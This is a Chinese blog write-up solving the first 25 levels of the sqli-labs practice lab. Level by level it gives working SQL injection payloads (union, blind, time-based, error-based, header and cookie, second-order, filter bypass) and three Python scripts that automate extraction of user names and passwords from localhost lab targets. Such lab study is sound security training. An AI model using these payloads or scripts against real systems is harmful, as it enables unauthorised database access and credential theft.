4288 字
21 分钟
sql-labs前25关wp
2025-12-30

第一关字符#

?id=1
?id=2 //内容变换,且?id=1 and1=1和1=2页面内容都不变,不是数字型注入
?id=1' //报错
?id=1'--+ //正常,字符型且存在sql注入漏洞
————有回显,采用联合注入————
?id=1'order by N--+ //判断表格有几列,测试得知是三列
?id=-1'union select 1,2,3--+ //查看哪一位是回显位。login name-2,password-3
?id=-1'union select 1,database(),version()--+ //可以看看数据名和版本号。security;5.5.44-0ubuntu0.14.04.1
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+ //爆表名——mails,referers,uagents,users
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+ //把字段名爆出来——id,username,password table_schema='security' and可加可不加
?id=-1'union select 1,2,group_concat(id,username,password) from users--+ //成功爆完

第二关数字#

?id=1 and 1=1 //没报错,正常,但1=2无显示,数字型注入 然后就差不多了跟第一关,只不过不闭合

?id=1 order by 3
?id=-1 union select 1,2,3
?id=-1 union select 1,database(),version()
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
?id=-1 union select 1,2,group_concat(username ,id , password) from users

第三关字符#

?id=1 and 1=1 //和1=2和1=3的内容都相同,排除数字型注入 ?id=1’ //报错,报错提示说

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1

?id=1’)—+ //成功,需要)闭合

?id=2')--+
?id=1') order by 3--+
?id=-1') union select 1,2,3--+
?id=-1') union select 1,database(),version()--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+ //emails,referers,uagents,users
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+ //id,username,password
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+

第四关字符#

?id=1 and 1=1 //页面正常,1=2,1=3页面无变化,排除数字型注入 ?id=1’ //不报错 ?id=1” //报错了,

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1

?id=1”) //报错 ?id=1”)—+ //成功 然后规律就一样了

?id=1") order by 3--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+ //emails,referers,uagents,users
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+ //id,username,password
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+

第五关字符+布尔盲注#

?id=1 //回显跟前几关不一样了,You are in… ,确定是字符型注入,没有具体的回显,不能用联合注入,考虑布尔盲注:length(),ascii() ,substr() ?id=1’报错 ?id=1’—+成功 判断数据库长度 ?id=1’and length((select database()))>N—+ //>7正常,>8错了,说明数据库长度为8 判断数据库名称 ?id=1’and ascii(substr((select database()),1,1))=ASCII—+

substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为要一个个判断字符。后边是ASCII值,判断该位是不是这个值

判断表名长度 ?id=1’and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>N—+ 逐一判断表名 ?id=1’and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>ASCII—+ 判断字段名长度 ?id=1’and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’))>N—+ 判断字段名 ?id=1’and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’),1,1))>ASCII—+ 判断字段内容长度 ?id=1’ and length((select group_concat(username,password) from users))>N—+ 逐一检测内容 ?id=1’ and ascii(substr((select group_concat(username,password) from users),1,1))>ASCIi—+ 根据以上的步骤,手动爆破过于麻烦,于是采用脚本自动爆破 (python多行注释用三个单/双引号就可以)

import requests
import time
import sys
class BooleanBlindInjector:
def __init__(self, url):
self.url = url
self.headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36"
}
def check_payload(self, sql_condition):
"""
判断函数:
payload: ?id=1' and {sql_condition}--+
如果页面包含 'You are in' 返回 True
"""
payload = f"?id=1' and {sql_condition}--+"
target_url = self.url + payload
try:
res = requests.get(target_url, headers=self.headers)
return "You are in" in res.text
except:
return False
def get_length(self, sql_query):
"""
判断数据长度
对应 payload: length((select ...)) > X
"""
print(f"[*] 正在探测长度...", end="")
# 考虑到 group_concat 结果可能很长,范围设大一点
for length in range(1, 1000):
# 判断 length(({sql_query})) = {length}
if self.check_payload(f"length(({sql_query}))={length}"):
print(f" 长度为: {length}")
return length
print(" [-] 未能测出长度,可能数据过长或 SQL 语句有误。")
return None
def get_content(self, sql_query):
"""
二分法提取具体内容
对应 payload: ascii(substr((select ...), 1, 1)) > mid
"""
# 1. 先获取长度
length = self.get_length(sql_query)
if not length:
return None
# 2. 开始二分法提取字符
result = ""
print(f"[*] 开始提取内容: ", end="")
for i in range(1, length + 1):
low = 32
high = 126
mid = 0
while low <= high:
mid = (low + high) // 2
# 你的 payload 逻辑: ascii(substr((query), i, 1)) > mid
payload = f"ascii(substr(({sql_query}),{i},1))>{mid}"
if self.check_payload(payload):
low = mid + 1
else:
high = mid - 1
result += chr(low)
# 实时显示进度
sys.stdout.write(f"\r[*] 当前获取: {result}")
sys.stdout.flush()
print(f"\n[+] 提取完成: {result}\n" + "-"*50)
return result
def run(self):
print(f"[*] 目标 URL: {self.url}")
print("-" * 50)
# --- 第一步:获取数据库名 ---
# Payload: select database()
db_name = self.get_content("select database()")
# --- 第二步:获取所有表名 ---
# Payload: select group_concat(table_name) from information_schema.tables where table_schema=database()
# 注意:在 SQL 语句中引用字符串需要加单引号,例如 table_schema='security'
# 这里直接用 database() 函数代替具体库名,更通用
tables_query = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
self.get_content(tables_query)
# --- 第三步:获取 users 表的字段名 ---
# Payload: select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'
# 这里我们假设目标表名是 users,如果第二步跑出来不是 users,需要手动修改这里的 table_name='users'
columns_query = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'"
self.get_content(columns_query)
# --- 第四步:获取字段内容 (用户名和密码) ---
# Payload: select group_concat(username,password) from users
# 为了方便阅读,我在中间加了一个分隔符 '~',即 group_concat(username,'~',password)
dump_query = "select group_concat(username,'~',password) from users"
self.get_content(dump_query)
if __name__ == "__main__":
# 请根据你的实际情况修改端口和路径
target = "http://localhost:8080/Less-5/"
injector = BooleanBlindInjector(target)
injector.run()

第六关字符+布尔盲注#

?id=1依旧盲注 ?id=1’ //不报错 ?id=1” //报错 ?id=1”—+ //OK成功 其它的逻辑跟上一题就一样了,只需要将脚本稍加改动就好

payload = f'?id=1" and ...'

第七关字符+无报错原因+布尔盲注#

?id=1 //这次回显又不一样,You are in… Use outfile… ?id=1 and 1=1 //正常,1=2不变,排除数字注入 ?id=1’ //报错了,但和之前不一样,没说出错在哪里,只说了有错You have an error in your SQL syntax —+还是一样报错 ?id=1” //页面又正常了,那排除,就是 ‘ ?id=1’) //报错 —+依旧报错 ?id=1’)) //报错 ?id=1’))—+ //欸终于对了 接下来就是跟前面一样布尔盲注了,把payload改一下

payload = f"?id=1')) and {sql_condition}--+"

第八关字符+无报错显示+布尔盲注#

?id=1 //You are in… ?id=1’ //什么显示都没有了 ?id=1’ //欸成了,这就跟第五关很像了,后边盲注

第九关时间盲注#

?id=1 //显示You are in… ?id=1 and 1=1 //页面正常,然后1=2也正常,排除数字型注入 然后尝试了?id=1’ 1“ 1’) 1’)) 1”) 1”)) 回显都没有变化,都是一样的,这时候使用布尔盲注就不合适了,得尝试时间盲注 //时间盲注多了if函数和sleep()函数。if(a,sleep(10),1)如果a结果是真的,那么执行sleep(10)页面延迟10秒,如果a的结果是假,执行1,页面不延迟

**判断参数构造**
?id=1' and if(1=1,sleep(5),1)--+
**判断数据库名长度**
?id=1'and if(length((select database()))>N,sleep(5),1)--+
**逐一判断数据库字符**
?id=1'and if(ascii(substr((select database()),1,1))=ASCII,sleep(5),1)--+
**判断所有表名长度**
?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>N,sleep(5),1)--+
**逐一判断表名**
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>ASCII,sleep(5),1)--+
**判断所有字段名的长度**
?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>N,sleep(5),1)--+
**逐一判断字段名**
?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>ASCII,sleep(5),1)--+
**判断字段内容长度**
?id=1' and if(length((select group_concat(username,password) from users))>N,sleep(5),1)--+
**逐一检测内容**
?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>ASCII,sleep(5),1)--+
import requests
import time
import sys
class TimeBlindInjector:
def __init__(self, url):
self.url = url
self.sleep_time = 5
self.timeout = 3
self.headers = {
"User-Agent": "Mozilla/5.0"
}
def check_payload(self, condition):
"""
时间判断函数
payload: ?id=1' and if(condition,sleep(5),1)--+
如果触发 sleep → 超时 → True
"""
payload = f"?id=1' and if({condition},sleep({self.sleep_time}),1)--+"
try:
requests.get(self.url + payload,
headers=self.headers,
timeout=self.timeout)
return False
except requests.exceptions.Timeout:
return True
# ===============================
# 二分法判断长度
# ===============================
def get_length(self, sql_query, max_len=300):
print("[*] 正在探测长度...", end="")
low, high = 1, max_len
while low <= high:
mid = (low + high) // 2
condition = f"length(({sql_query}))>{mid}"
if self.check_payload(condition):
low = mid + 1
else:
high = mid - 1
print(f" 长度为: {low}")
return low
# ===============================
# 二分法提取内容
# ===============================
def get_content(self, sql_query):
length = self.get_length(sql_query)
result = ""
print("[*] 开始提取内容:")
for pos in range(1, length + 1):
low, high = 32, 126
while low <= high:
mid = (low + high) // 2
condition = f"ascii(substr(({sql_query}),{pos},1))>{mid}"
if self.check_payload(condition):
low = mid + 1
else:
high = mid - 1
result += chr(low)
sys.stdout.write(f"\r[+] 当前结果: {result}")
sys.stdout.flush()
print("\n" + "-" * 50)
return result
# ===============================
# 主流程
# ===============================
def run(self):
print(f"[*] Target: {self.url}")
print("-" * 50)
# 1. 数据库名
db = self.get_content("select database()")
print(f"[+] Database: {db}")
# 2. 表名
tables = self.get_content(
"select group_concat(table_name) from information_schema.tables where table_schema=database()"
)
print(f"[+] Tables: {tables}")
# 3. 字段名
columns = self.get_content(
"select group_concat(column_name) from information_schema.columns "
"where table_schema=database() and table_name='users'"
)
print(f"[+] Columns: {columns}")
# 4. 数据
data = self.get_content(
"select group_concat(username,0x3a,password) from users"
)
print(f"[+] Data: {data}")
if __name__ == "__main__":
target = "http://localhost:8080/Less-9/"
injector = TimeBlindInjector(target)
injector.run()

第十关时间盲注#

和第九关一样,只是payload的单引号变成双引号

?id=1" and if(1=1,sleep(5),1)--+

第十一关登陆页面#

这一关开始和前面又不一样了,变成了登陆页面。 随机输入一个1,页面显示failed,然后1’,出现报错:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' and password='' LIMIT 0,1' at line 1

从报错得知应该:username=‘参数’ and password=‘参数’ 使用万能公式 1’ or ‘1’=‘1,显示successfully logged in 然后进行查询1’ union select 1,2—+报错 换为1’ union select 1,2 # 成功爆出

1' or '1'='1 //successfully
1' union select 1,2--+ //报错
1' union select 1,2 # //成功
1' or 1=1#
1' union select 1,2#
1' union select 1,database()#
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
1' union select 1,group_concat(username,password) from users#

第十二关#

1 // 无反应
1' //无反应
1" //出现报错,得加括号
1") //正常的报错出来了
----接下来就开始sql注入----

然后就跟上一关一样了,只不过是注入方式从1’变成了1”)

第十三关报错注入#

1' //报错,显示需要加括号
1') //正常的报错出来了
----接下来就开始sql注入----
1') or 1=1# //登录成功
1') or 1=2# //登录失败

但是发现这一关只有登陆成功还是失败,没有其它回显,所以可以尝试采用报错注入

报错注入:
1') and (extractvalue(1,concat(0x7e,version(),0x7e)))#
1') and (extractvalue(1,concat(0x7e,(select database()),0x7e)))--+
1')and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)))#
1')and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e)))#
1')and (extractvalue(1,concat(0x7e,(select group_concat(username,password) from users),0x7e)))#

第十四关报错注入#

1" union select 1,2--+ //报错
1" union select 1,2 # //成功
----接下来就开始sql注入----

十四关和之前只需要将单引号换成双引号

第十五关时间盲注#

报错没打通,用的时间盲注

import requests
import time
# ========== 配置区域 ==========
# 目标URL
TARGET_URL = "http://localhost:8080/Less-15/"
# 延时时间 (秒)
SLEEP_TIME = 2
# 创建Session复用连接
session = requests.Session()
# ========== 核心功能 ==========
def is_true(payload):
"""
发送Payload并根据响应时间判断条件真假
"""
post_data = {
"uname": payload,
"passwd": "admin",
"submit": "Submit"
}
try:
start_time = time.time()
# 发送POST请求
resp = session.post(
TARGET_URL,
data=post_data,
timeout=SLEEP_TIME + 3, # 设置超时防止卡死
allow_redirects=False
)
end_time = time.time()
cost_time = end_time - start_time
# 如果耗时大于设定的Sleep时间,说明SQL执行了SLEEP,条件为真
return cost_time > SLEEP_TIME
except requests.exceptions.Timeout:
# 如果请求超时,通常也意味着Sleep生效了
return True
except Exception as e:
print(f"[!] 请求错误: {e}")
return False
def get_length_binary(name):
"""
使用【二分法】获取字符串长度(比逐个猜快几十倍)
"""
print(f"[*] 正在探测长度: {name}")
low = 1
high = 100 # 假设最大长度不超过100
while low <= high:
mid = (low + high) // 2
# Payload逻辑: if(length(xxx) > mid, sleep, 0)
# 注意:这里把 --+ 改为了 #,因为POST请求中 --+ 有时会导致语法错误
payload = f"admin' and IF(length(({name}))>{mid}, SLEEP({SLEEP_TIME}), 0)#"
if is_true(payload):
low = mid + 1
else:
high = mid - 1
# 二分结束时,low 就是长度(或者 high+1)
# 逻辑验证:最后一次循环如果 true,low=mid+1,如果 false,high=mid-1。最终 low > high。
final_len = low if low > high else high
# 有时候二分法边界会差1,这里稍微调整,通常直接取 low 即可,具体视逻辑而定
# 修正逻辑:当 low > high 停止,长度应为 high + 1?
# 简单的方式:二分查找最终定位的是“第一个不满足 > mid”的位置
print(f"[+] 长度确定: {low}")
return low
def get_string_binary(name, length):
"""
使用【二分法】逐字符获取具体内容
"""
result = ""
print(f"[*] 正在爆破内容: {name}")
for i in range(1, length + 1):
low = 32 # 可打印字符最小值
high = 126 # 可打印字符最大值
while low <= high:
mid = (low + high) // 2
# Payload逻辑: if(ascii(substr(xxx, i, 1)) > mid, sleep, 0)
payload = f"admin' and IF(ascii(substr(({name}),{i},1))>{mid}, SLEEP({SLEEP_TIME}), 0)#"
if is_true(payload):
low = mid + 1
else:
high = mid - 1
result += chr(low)
# 动态显示进度
print(f"\r[>] 当前进度: {result}", end="", flush=True)
print() # 换行
return result
# ========== 主程序入口 ==========
if __name__ == "__main__":
try:
print("=== 开始时间盲注 (POST二分法加速版) ===")
# 1. 获取数据库名
db_len = get_length_binary("database()")
if db_len == 0 or db_len > 100:
print("[-] 获取数据库长度失败,请检查URL或网络")
exit()
db_name = get_string_binary("database()", db_len)
print(f"✅ 数据库名: {db_name}\n")
# 2. 获取表名 (为节省时间,演示获取所有表名字符串)
tables_sql = f"select group_concat(table_name) from information_schema.tables where table_schema='{db_name}'"
tables_len = get_length_binary(tables_sql)
tables = get_string_binary(tables_sql, tables_len)
print(f"✅ 表名: {tables}\n")
# 简单分割表名取第一个
table_list = tables.split(',')
target_table = "users" if "users" in table_list else table_list[0]
print(f"🔍 锁定目标表: {target_table}\n")
# 3. 获取列名
cols_sql = f"select group_concat(column_name) from information_schema.columns where table_schema='{db_name}' and table_name='{target_table}'"
cols_len = get_length_binary(cols_sql)
cols = get_string_binary(cols_sql, cols_len)
print(f"✅ 列名: {cols}\n")
col_list = cols.split(',')
target_cols = [c for c in ["username", "password", "flag"] if c in col_list]
if not target_cols: target_cols = col_list[:2]
print(f"🔍 锁定目标列: {target_cols}\n")
# 4. 获取数据
for col in target_cols:
data_sql = f"select group_concat({col}) from {target_table}"
data_len = get_length_binary(data_sql)
if data_len > 0:
data = get_string_binary(data_sql, data_len)
print(f"✅ {col} 数据: {data}")
except KeyboardInterrupt:
print("\n[!] 用户中断")

第十六关#

跟上一关一样,payload的改为“)就好

第十七关#

这一关又跟前面有了些不同,多了个[PASSWORD RESET],密码重置页面,报错注入

1' and (extractvalue(1,concat(0x5c,version(),0x5c)))# //爆版本
1' and (extractvalue(1,concat(0x5c,database(),0x5c)))# //爆数据库
1' and (extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c)))# //爆表名
1' and (extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x5c)))# //爆字段名
1' and (extractvalue(1,concat(0x5c,(select password from (select password from users where username='admin1') b) ,0x5c)))# 爆字段内容该格式针对mysql数据库。
1' and (extractvalue(1,concat(0x5c,(select group_concat(username,password) from users),0x5c)))# //爆字段内容

第十八关#

这次不是密码重置了,下方多了个Your IP ADDRESS is: 172.17.0.1 username和password里输入admin 显示:Your User Agent is: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36 尝试使用user-agent里面注入,然后就是报错注入了

1' and extractvalue(1,concat(0x7e,(select database()),0x7e)) or '
1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)) or '
1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='emails'),0x7e)) or '
c

第十九关#

和上一关一样,不过是referer注入

第二十关#

用户名和密码都输入admin,然后页面回显出了cookie,那就尝试cookie注入

第二十一关#

这一关依旧十cookie注入,然后base64编码就好

第二十二关#

还是cookie注入,不过源码里写是”,改成”闭合就好,其它一样

第二十三关#

这一关又看上去像开头那几关了,不过过滤了#和—,那么后边用and ‘1’=‘1来代替就好

第二十四关#

这一关又边的多样了,不仅有登陆框,还有Forgot your password? New User click here?使用adminadmin登陆之后还能修改密码 看一下源码,会发现mysql_real-escape_string函数,这个函数会转义SQL语句中使用的字符串中的特殊字符。

\x00 \n \r \ ' " \x1a

所以不在这个界面进行注入,然后注册界面有mysql_escape_string,虽然作用跟前面的类似,不过由于这个函数被废弃了,所以说在这个页面进行注入,用到了二次注入

1. 第一步:攻击者提交恶意数据,但数据不会立即执行 SQL 注入,而是被存储到数据库(如注册、评论、修改资料等场景)
2. 第二步:当其他功能读取并使用了这些存储的数据时,恶意 SQL 代码被执行,导致攻击成功
对比项普通 SQL 注入二次排序注入
触发方式直接提交恶意输入(如登录、搜索)先存储恶意数据,后续操作触发执行
过滤绕过依赖输入时的过滤存储时可能不严格过滤,执行时才触发漏洞
攻击隐蔽性容易被 WAF 检测更难检测,因为攻击分两步完成
常见场景登录框、搜索框用户注册、评论、资料修改、订单系统
首先注册admin’# 123456,到登陆页面输入刚刚的账号密码,完成登陆,跳转到修改密码页面,重置新密码为111111,点击重置,admin的密码被修改为111111,而不是admin’#的
INSERT INTO users (username, password) VALUES ("admin'#", "123456");
SELECT * FROM users WHERE username='admin'
UPDATE users SET PASSWORD='111111' WHERE username='admin'
# 攻击成功的原因
1. 注册时未过滤 ' 和 #
- 允许攻击者存储恶意用户名 admin'#
2. 修改密码时直接拼接 SQL
- 未对从数据库读取的 username 进行二次过滤,导致 '# 被当作 SQL 代码执行。
3. 注释符 # 绕过密码验证
- # 注释掉后续条件,使攻击者能直接修改 admin 的密码。

第二十五关#

先?id=1 页面说 All Your ‘OR’ and ‘AND’ belong to us. Hint: Your Input is Filtered with following result: 说明or和and别过滤了,可以使用双写绕过或者是||来替换or,and可以用&&,其它的就跟之前的一样了

sql-labs前25关wp
https://fuwari.vercel.app/posts/sql-labs/
作者
BIG熙
发布于
2025-12-30
许可协议
CC BY-NC-SA 4.0